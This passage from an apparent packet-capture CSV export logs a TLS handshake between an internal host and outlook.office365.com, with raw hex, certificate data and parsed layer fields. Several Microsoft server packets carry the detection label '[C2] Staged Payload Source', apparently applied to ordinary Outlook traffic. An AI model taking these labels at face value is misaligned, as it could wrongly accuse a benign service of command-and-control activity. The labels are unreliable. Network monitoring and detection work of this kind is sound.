ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=118 ext=[<TLS_Ext_ServerName  type=server_name len=26 servernameslen=24 servernames=[b'outlook.office365.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:47.449524,61,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4213679582 Ack=2486874563,bc2411360d0cbc24112907bb080045000028c4f340004006e7153461b7c20a98980b01bbf9fdfb27a5de943ab1c35010003f8ee10000,\".$.6\n..$.)....E..(..@.@...4a..\n........'...:..P..?....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50419, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59157, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213679582, \"\"ack\"\": 2486874563, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 36577, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:47.847303,62,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=4213679582 Ack=2486874563,bc2411360d0cbc24112907bb0800450007c8c4f440004006df743461b7c20a98980b01bbf9fdfb27a5de943ab1c35018003f9681000016030311070200006203036a41294b48334f2a17a43754a7efd40e4104774d3df6d779444f574e4752440120283c0000e9a7e58ba2518b0ecc04b6b55876d16787ad624126e37907c996201ac03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e7,\".$.6\n..$.)....E.....@.@..t4a..\n........'...:..P..?............b..jA)KH3O*..7T....A.wM=..yDOWNGRD. (<.......Q......Xv.g..bA&.y... ..0........#.........h2...........\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1992, \"\"id\"\": 50420, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57204, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213679582, \"\"ack\"\": 2486874563, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 38529, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030311070200006203036a41294b48334f2a17a43754a7efd40e4104774d3df6d779444f574e4752440120283c0000e9a7e58ba2518b0ecc04b6b55876d16787ad624126e37907c996201ac03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e7\"\"}}]\"\n2026-06-28 14:01:47.847444,63,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486874563 Ack=4213681534,bc24112907bbbc2411360d0c080045000028118f400080065a7a0a98980b3461b7c2f9fd01bb943ab1c3fb27ad7e5010040032b00000,\".$.)...$.6\n...E..(..@...Zz\n...4a.......:...'.~P...2...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4495, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23162, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874563, \"\"ack\"\": 4213681534, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 12976, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:47.858611,64,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4213681534 Ack=2486874563,bc2411360d0cbc24112907bb080045000994c4f640004006dda63461b7c20a98980b01bbf9fdfb27ad7e943ab1c35018003f984d00007a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632343037313834325a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303632343037303330305aa011180f32303236303730313036303330305a300d06092a864886f70d01010b050003820101004909a624532538bba467f342bf77a4164fc61c9f61aef5892c642ff10b10b5e375497229d1167836b9328209ae4686461323d0fb2fbb8ab79eda23d2f9e312f198514a1e57f17235c73b963feed262025992a244b171f6c6382d073f6d74a246e647de428627e0dfa01f22529fa7c78a9d0872c395778fd9902180ad38b91a06d95956afd07db5f9bbb440f4fe959042abf96010764dadd44ea4edd385add5dcbd940a3582c547b536fd3fe65b8295e5857065d9f57a81fcdeabe1fa705937c63ec313f5bf17184e83e5697c054d2c8e403a45b5a3bb018abaa4437fad6a9050e59d94d54d99fac604cd19080887c9b22ebf5eb4e9b78df99e9ecacc11f89ab30c0001690300186104c4cdb405f394bbf71bf0d7c21d92d33c1cbc6332230ee68425f300270431e88b1abb84ad16cb9744d896d67ef69e1d2da8a48fb3e075c55b5c3c9a46c16b27de46a238db18f9f71b58c73e7511a10e75b32df0af5f1c02c8149dea228fac8a40080401005d25a6635308e1a4116445f8d3919f3e60bac86d6d5f2452c25b6ee0b861603d7a39ddd1acbb27932aa9082ecb0396c5a4038bbf62c2ecd2f163defa837ed63961c55960063106be83d1a8771e05389f4ba2a320a3274b240d21c97ecfd062f5483a33a5ad9a8422c7e5a35417141d1cbab0abe7a53d7d97b6e55f5f3f3479ce94733f85f6a5fd2d8aeff158ee073228f3530f8d8ab121d54d480092354906fdacc859668ecc0ff5805549117f72ef625205827b296a52589c974d1f4e5f8c7c704053b7284da4d440afc40d431521960929a58163c97704123eb0a4cbf6ca04ee2300665a45fdc8d6f4b367af4c1bd5ccc81fe77c324830994e8893d2d4dd4e0e000000,\"z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260624071842Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260624070300Z....20260701060300Z0\n.\t*.H..\n..........I\t.$S%8..g.B.w..O...a...,d/.....uIr)..x6.2.\t.F.F.#../.....#......QJ.W.r5.;.?..b.Y..D.q..8-.?mt.F.G.B.'....\"\"R......r..w...!..8....YV..}....@....B..`.vM..N.........\n5..G.6.?.[....pe..z......pY7.>......N..i|.M,.@:E.......C..j.P....M.............^................i...a................<..c2#...%..'.1.........D...~...-.....u.[\\<.F.k'.F.8.....X.>u...u.-.._......\"\"...@....]%.cS....dE....>`..mm_$R.[n..a`=z9....'.*...........b....c...~.9a.Y`.1.....w..8.K.. .'K$\n!.~..b.H:3....\"\"...T.........=}...__?4y..s?....-...X..2(.S....!.MH..5I....Yf.....UI..r.bR..{)jRX..M.N_.|p@S.(M..@..\nC.!.\t)..c.w..>.......#.fZE.....g.L......|2H0.N.....N....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2452, \"\"id\"\": 50422, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56742, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213681534, \"\"ack\"\": 2486874563, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 38989, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"7a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e